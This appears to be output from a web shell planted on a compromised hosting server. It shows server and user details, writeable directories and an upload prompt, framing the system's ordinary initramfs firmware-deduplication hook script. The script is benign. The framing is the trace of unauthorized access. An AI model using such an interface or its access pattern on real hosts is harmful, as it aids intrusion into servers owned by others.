https://t.me/RX1948
Server : Apache
System : Linux enhance01.hostingraja.org 5.15.0-144-generic #157-Ubuntu SMP Mon Jun 16 07:33:10 UTC 2025 x86_64
User : webdemo_4 ( 4864)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/initramfs-tools/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/initramfs-tools/hooks/linux-firmware
#!/bin/sh

prereqs()
{
	# linux-firmware should run last since other hooks might add additional firmware
	for _req in "${0%/*}"/* ; do
		_script="${_req##*/}"
		if [ "${_script}" != "${0##*/}" ] ; then
			echo "${_script}"
		fi
	done
}

case "${1}" in
	prereqs)
		prereqs
		exit 0
		;;
esac

. /usr/share/initramfs-tools/hook-functions

prev_md5=
find "${DESTDIR}"/lib/firmware ! -empty -type f -exec md5sum -b {} + | sort | uniq -w32 -dD | \
	while IFS= read -r line ; do
		md5=$(printf '%s' "${line}" | cut -c -32)
		fw=$(printf '%s' "${line}" | cut -c 35-)
		if [ "${md5}" != "${prev_md5}" ] ; then
			tgt=${fw}
		else
			lnk=$(realpath --relative-to="${fw%/*}" "${tgt}")
			[ "${verbose}" = "y" ] && echo "Create firmware-link ${fw} -> ${lnk}"
			rm -f "${fw}"
			ln -s "${lnk}" "${fw}"
		fi
		prev_md5=${md5}
	done

https://t.me/RX1948 - 2025